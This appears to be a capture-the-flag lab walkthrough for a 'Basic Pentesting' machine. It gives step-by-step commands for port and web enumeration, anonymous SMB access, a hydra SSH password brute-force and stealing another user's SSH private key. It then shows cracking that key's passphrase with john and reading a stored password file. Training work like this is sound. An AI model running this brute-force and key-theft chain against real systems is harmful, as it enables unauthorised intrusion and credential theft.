Basic Pentesting Writeup

Placeholder legend

Token	Where to get it
`TARGET_IP`	The target machine IP shown on the room page after deploy. Changes per spawn.
`<VPN_FILE>.ovpn`	Your personalized OpenVPN config, downloaded from the platform's access page.
`<JAN_PASSWORD>` ⚠	Output of the hydra SSH brute-force in §3.
`<KEY_PASSPHRASE>` ⚠	Output of the `john` crack in §6.
`<KAY_PASSWORD>` ⚠	Contents of `/home/kay/pass.bak`, read in §7.

⚠ = recovered value; do not hardcode. Values are the same per box design but are omitted here deliberately — recover them yourself.

1. Connect

bash

sudo openvpn <VPN_FILE>.ovpn

Leave this terminal running. Start the lab machine before scanning.

2. Enumeration

bash

nmap -p- --min-rate 5000 -Pn TARGET_IP

bash

nmap -A -p 22,80,139,445,8009,8080 TARGET_IP

3. Web directory enumeration (port 80)

bash

gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50

Lower -t to 20 if timeout errors appear in volume.

bash

curl -s http://TARGET_IP/development/

Keep the URL and trailing slash on one line.

bash

curl -s http://TARGET_IP/development/j.txt; echo; curl -s http://TARGET_IP/development/dev.txt

4. SMB enumeration

bash

enum4linux -a TARGET_IP

Press Enter at the trailing Password: prompt (polenum's password-policy check); it fails through harmlessly.

bash

smbclient -N //TARGET_IP/Anonymous -c 'ls'

bash

smbclient -N //TARGET_IP/Anonymous -c 'get staff.txt'; cat staff.txt

Run from a dedicated working directory — get writes to the current directory. If this returns NT_STATUS_IO_TIMEOUT, it is transport-level; re-run the identical command.

5. SSH brute-force

bash

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 4

Use -t 4 (not the default 16) — OpenSSH MaxStartups silently refuses excess connections and hydra does not retry them, which can skip the correct password. Drop to -t 1 if [ERROR] could not connect appears. Runtime ~15 min.

6. Foothold and local enumeration

bash

ssh jan@TARGET_IP

Type yes in full at the host-key prompt. Password prompt does not echo — enter <JAN_PASSWORD>.

Run on the target:

bash

id; ls -la /home

bash

ls -laR /home/kay

7. Key theft and offline crack

Run on the attack box, not inside the SSH session:

bash

scp jan@TARGET_IP:/home/kay/.ssh/id_rsa .
chmod 600 id_rsa
head -3 id_rsa

scp prompts for <JAN_PASSWORD>. chmod 600 is mandatory — scp preserves the loose source permissions and the local client refuses a world-readable key.

bash

ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

If ssh2john is not on PATH: python3 /usr/share/john/ssh2john.py id_rsa > id_rsa.hash Check with: which ssh2john || ls /usr/share/john/ssh2john.py No password hashes loaded means the redirect/conversion failed and id_rsa.hash is empty.

8. Lateral movement to kay

bash

ssh -i id_rsa kay@TARGET_IP

Prompts Enter passphrase for key 'id_rsa': — enter <KEY_PASSPHRASE>. Decryption is client-side.

Run on the target:

bash

id; cat pass.bak; sudo -l

sudo -l prompts for kay's password — enter <KAY_PASSWORD> (the value printed by cat pass.bak on the previous line).

← all writeups next writeup →